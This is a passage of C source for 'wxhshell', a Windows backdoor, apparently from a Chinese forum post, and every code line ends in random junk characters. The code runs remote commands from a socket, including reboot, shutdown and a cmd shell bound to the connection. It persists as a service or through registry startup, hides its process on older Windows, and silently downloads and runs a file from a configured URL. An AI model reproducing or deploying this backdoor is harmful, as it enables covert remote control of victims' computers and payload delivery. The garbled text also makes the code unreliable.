  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qdm!]w.G5  
  } `+gF|o9  
  else { Qw ^tzP8  
SX4p(t  
    switch(cmd[0]) { k.0C*3'  
  KIS.4nt#d"  
  // 帮助 ]uZH  0  
  case '?': { u-W=~EO5#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zb4g\H 0  
    break; eyM3W}[S$/  
  } &>/nYvuq-  
  // 安装 9W8Dp?:  
  case 'i': { 8}0 D?  
    if(Install()) "~ `-Jkm   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^?A+`1-  
    else -Av/L>TxlI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :Y'nye3:  
    break; =f["M=)ZJ  
    } ,t[D1KZt  
  // 卸载  ^ "f  
  case 'r': { f]lDJ?+ M  
    if(Uninstall()) zPXd]jIwV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :JS} (  
    else *vb)d0}P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (UM+?]Qwy  
    break; #i,O "`4  
    } v:>P;\]r9M  
  // 显示 wxhshell 所在路径 8 2qe|XD4p  
  case 'p': { HlO+^(eX  
    char svExeFile[MAX_PATH]; Ju\"l8[f  
    strcpy(svExeFile,"\n\r"); NX; &V7  
      strcat(svExeFile,ExeFile); '71btd1  
        send(wsh,svExeFile,strlen(svExeFile),0); w7C=R8^  
    break; o#Y1Uamkf  
    } 1Y`MJ \9  
  // 重启 u2eq VrY  
  case 'b': { \Q$);:=q Q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gXQ)\MY  
    if(Boot(REBOOT)) . FruI#99  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o]Ki+ U  
    else { ovohl<o\  
    closesocket(wsh); zM'-2,  
    ExitThread(0); Nh))U  
    } XVfQscZe  
    break; rQqtejcfx  
    } 8ah]D  
  // 关机 r:IU +3  
  case 'd': { OTm`i>rB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r3kI'I|bq  
    if(Boot(SHUTDOWN)) m|k,8guG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7Av]f3Zr  
    else { 4Y2>w  
    closesocket(wsh); `zL9d lZ  
    ExitThread(0); c"xaN  
    } pI`Ke"  
    break; ,?qS#B+>  
    } .DQ]q o]OG  
  // 获取shell VX%+!6+fS  
  case 's': { r$7rYxFR  
    CmdShell(wsh); P#xn!fMi  
    closesocket(wsh); B]vj1m`9  
    ExitThread(0);  #59zv=  
    break; j;3o9!.s:  
  } j7d;1 zB+G  
  // 退出 D.!4i.)8}  
  case 'x': { 9V&LJhDQ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UOwNcY  
    CloseIt(wsh); IFY !3^;zO  
    break; K"1J1>CHQ  
    } kD>vQ?  
  // 离开 UQFuEI<1-  
  case 'q': { DXt^Ym5Cv  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1<83MO;  
    closesocket(wsh); 2XtQ"`)  
    WSACleanup(); eG v"&kr  
    exit(1); &u8c!;y$b  
    break; =FnZkJ  
        } Jj " {r{  
  } S6mmk&n  
  } >MT)=4 9q  
g6V*wjC  
  // 提示信息  AMdS+(J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hs4r5[  
} wOOPWwk  
  } |>4{4  
C#Jj;Gd  
  return; %vXQ Sz  
} K="+2]{I  
O^#u%/  
// shell模块句柄 5glGlD6R  
int CmdShell(SOCKET sock) 0YL0Oa+7  
{ MF`'r#@:wa  
STARTUPINFO si; yKJ^hv"#  
ZeroMemory(&si,sizeof(si)); N,|oV|i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U4gwxK  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ${wE5^ky  
PROCESS_INFORMATION ProcessInfo; MeX1y]<It  
char cmdline[]="cmd"; qZh~Ay6I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [_d*J/X  
  return 0; GN0'-z6Uy  
} ks D1NB;9  
gL`SZr9  
// 自身启动模式 0^[6  
int StartFromService(void) #pfosC[  
{ JyO lVs<T  
typedef struct 7%"7Rb^@  
{ k:Q<Uanc[  
  DWORD ExitStatus; 3:Wr)>l}#  
  DWORD PebBaseAddress; gwJu&HA/  
  DWORD AffinityMask; K }BX6dA  
  DWORD BasePriority; w C"%b#(}  
  ULONG UniqueProcessId; S41>VbtEp  
  ULONG InheritedFromUniqueProcessId; CCOg1X_  
}   PROCESS_BASIC_INFORMATION; SO/]d70HG  
pZxL?N!  
PROCNTQSIP NtQueryInformationProcess; $nn5;11@gY  
D,a%Je-r,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +bW|Q>u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @_3$(*n$~  
x(=x;X$[^  
  HANDLE             hProcess; -e>)yM `i  
  PROCESS_BASIC_INFORMATION pbi; Z"Oa5V6[A  
Vm.@qO*=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y=Qf!Cq]  
  if(NULL == hInst ) return 0; aehMLl9cl  
`'WLGQG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Kf#!IY][  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5eA]7$ic  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W+?[SnHL/  
9DX3]Z\7X  
  if (!NtQueryInformationProcess) return 0; G,*s9P]1  
98^6{p  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "'Uk0>d=_I  
  if(!hProcess) return 0; B:cOcd?p  
Q%^bA,$&D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6l'y  
h>0<@UP  
  CloseHandle(hProcess); %<yM=1~>  
DT4RodE$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uszSFe]E  
if(hProcess==NULL) return 0; bl_WN|SQ  
^ {f ^WL=  
HMODULE hMod; VhgEG(Ud  
char procName[255]; 0(x@ NGb>{  
unsigned long cbNeeded; -^v}T/Kl#  
(p=GR#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R"`{E,yj  
:* b4/qpYv  
  CloseHandle(hProcess); "|`9{/]  
_`>7 Q) ,7  
if(strstr(procName,"services")) return 1; // 以服务启动 rJp6d :M  
]bb}[#AY  
  return 0; // 注册表启动 C} _:K)5q  
} Ws)X5C=A  
GK?R76d  
// 主模块 4&hqeY3  
int StartWxhshell(LPSTR lpCmdLine) / LM  
{ - oBas4J  
  SOCKET wsl; yX3H&F6  
BOOL val=TRUE; DAHf&/J K  
  int port=0; v qMk)htIz  
  struct sockaddr_in door; 9dtGqXX  
:iB%JY Ad  
  if(wscfg.ws_autoins) Install(); k^c=y<I  
:b*`hWnQ  
port=atoi(lpCmdLine); Z[u,1l.T  
fMPq  
if(port<=0) port=wscfg.ws_port; Q0Qm0B5eY  
k<zGrq=8J  
  WSADATA data; myOX:K*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v9lB k]c  
kDY]>v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `yX+NRi(s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eZ5}O0sfp  
  door.sin_family = AF_INET; zN/~a)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (!5}" fj  
  door.sin_port = htons(port); % 3-\3qx*  
Sx9:$"3.X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #aY<J:Nx  
closesocket(wsl); .y9rM{h}b  
return 1; Fi% W\Y'  
} ~Z6p3# !o  
c_$&Uii  
  if(listen(wsl,2) == INVALID_SOCKET) { u;ooDIq@  
closesocket(wsl); Bye@5D  
return 1; }"B? 8T@_~  
} 9$V_=Bo  
  Wxhshell(wsl); 9^#gVTGXv  
  WSACleanup(); 0gD59N'C  
0k 0c   
return 0; " IkF/  
76Vyhf&7  
} G4%M$LJ h  
m4SXH> o  
// 以NT服务方式启动 :#:O(K1PW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I= h4s(  
{ 0$ 9;p zr  
DWORD   status = 0; 9'#.>Q>0=j  
  DWORD   specificError = 0xfffffff; C=aj&  
Nwl RPyt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *R\/#Y|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^Xy$is3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <C"N X  
  serviceStatus.dwWin32ExitCode     = 0; ,x"yZ  
  serviceStatus.dwServiceSpecificExitCode = 0; R5&$h$[/  
  serviceStatus.dwCheckPoint       = 0; ->2wrOH|H  
  serviceStatus.dwWaitHint       = 0; %^?3s5PXD  
]n]uN~)9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dFP-(dX#  
  if (hServiceStatusHandle==0) return; |k .M+  
wQ=yY$VP  
status = GetLastError();  ]RX tC*  
  if (status!=NO_ERROR) ,C,e/>+My  
{ '=,rb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M|5]#2J_2  
    serviceStatus.dwCheckPoint       = 0; JlDDM %  
    serviceStatus.dwWaitHint       = 0; >+jbMAYSq  
    serviceStatus.dwWin32ExitCode     = status; 4 ^~zN"6]  
    serviceStatus.dwServiceSpecificExitCode = specificError; r>:L$_]L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *- IlF]  
    return; RJ}yf|d-C  
  } 5Jhbf2-  
?+,*YVT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; RTgA[O4J  
  serviceStatus.dwCheckPoint       = 0; ^o6)[_L  
  serviceStatus.dwWaitHint       = 0; Uq]EJu  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kV:FJx0xP  
} ;Ma/b=Y  
,KhMzE8_a  
// 处理NT服务事件,比如:启动、停止 B==a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;;w6b:}-c  
{ #ON#4WD?  
switch(fdwControl) 3aE[F f[  
{ ^M(`/1:  
case SERVICE_CONTROL_STOP: R2Rstk  
  serviceStatus.dwWin32ExitCode = 0; ICl_ eb  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o(d_uJOB  
  serviceStatus.dwCheckPoint   = 0; zJuRth)(,  
  serviceStatus.dwWaitHint     = 0; 4)odFq:  
  { uVq5fT`B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3:~l2KIP4  
  } y@kcXlY  
  return; 3$$5Mk(&  
case SERVICE_CONTROL_PAUSE: przubMt  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %EVV-n@  
  break; I`"-$99|t1  
case SERVICE_CONTROL_CONTINUE: (Q@+v<   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jW1YTQ  
  break; wj#J>C2]  
case SERVICE_CONTROL_INTERROGATE: .YjrV+om1  
  break; i{|lsd(+  
}; BbXU| QtY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dI_r:xN  
} W7TXI~7  
$h,&b<-  
// 标准应用程序主函数 }c35FM,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z[})40[M  
{ UVT >7  
VA=#0w  
// 获取操作系统版本 M2;%1^  
OsIsNt=GetOsVer(); Esz1uty  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |B%BwE  
zM_DE  
  // 从命令行安装 x5fgF;  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~tg1N^]kV  
rw5#e.~V  
  // 下载执行文件 JtYYT/PB  
if(wscfg.ws_downexe) { 1!>bhH}{D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -}_cO|kk  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'NT#(m%  
} @)OnIQN~  
~@-QbkC  
if(!OsIsNt) { Tsm1C#6 Y*  
// 如果时win9x,隐藏进程并且设置为注册表启动 JNxW6 cK  
HideProc(); g,n-s+  
StartWxhshell(lpCmdLine); ^ea RgNz  
} ` $.X[\*U  
else `z3|M#r\;  
  if(StartFromService()) $ DDSN  
  // 以服务方式启动 } g3HoFC  
  StartServiceCtrlDispatcher(DispatchTable); QmH/yy3.%  
else qE#&)  
  // 普通方式启动 qPXANx<^  
  StartWxhshell(lpCmdLine); zdLVxL>87  
I;kf #nvao  
return 0; UM4 @H1  
}
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只看该作者 1 发表于: 2006-10-10
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